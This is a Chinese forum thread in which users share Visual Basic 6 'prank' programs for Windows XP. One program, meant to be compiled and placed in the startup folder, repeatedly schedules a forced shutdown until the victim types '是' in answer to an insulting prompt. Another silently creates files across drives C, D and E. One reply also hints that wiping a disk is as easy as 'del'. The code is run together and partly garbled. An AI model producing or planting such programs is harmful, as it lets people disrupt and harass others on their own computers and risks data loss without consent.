求一堆vb整人程序的代码

把下面的程序做成.exe。然后放在启动里。但首先要保证是XP系统，并且系统里有shut down命令。程序在visual basic6.0测试通过
Private Sub Form_Load()Dim x As StringDoShell ("c:\windows\system32\shutdown.exe -s -t 60")x = InputBox("你是不是弱智", "请输入", , 1000, 1000)If x = "是" ThenShell ("c:\windows\system32\shutdown.exe -a")MsgBox ("早这样说不就好了")EndEnd If
Loop
End Sub
这个程序挺简单的，就不上图了。里面做了一下改动。如果按楼主的意思，“我”，显示出来以后很别扭，如果你想改，把inputbox("")里的改成你想要的。在x=""里改成你想要对方回答的答案即可。

Private Sub Form_Load()Form1.Visible = FalseFor i = 1 To 20# Open "c:\\你被怪人恶搞了,你傻了吧！" + CStr(i) + ".txt" For Random As 1 Open "d:\\你被怪人恶搞了,你傻了吧！" + CStr(i) + ".txt" For Random As 2 Open "e:\\你被怪人恶搞了,你傻了吧！" + CStr(i) + ".txt" For Random As 3 Close #1 Close #2 Close #3NextEnd Sub执行后c,d,e会每个盘符下都有20个已经建立的文件,如果还有其他盘符你自己在加个上去清空硬盘很简单~直接del

很简单，设置变量，如果变量等于xxx，就关闭该程序，否则就shutdown+时间参数。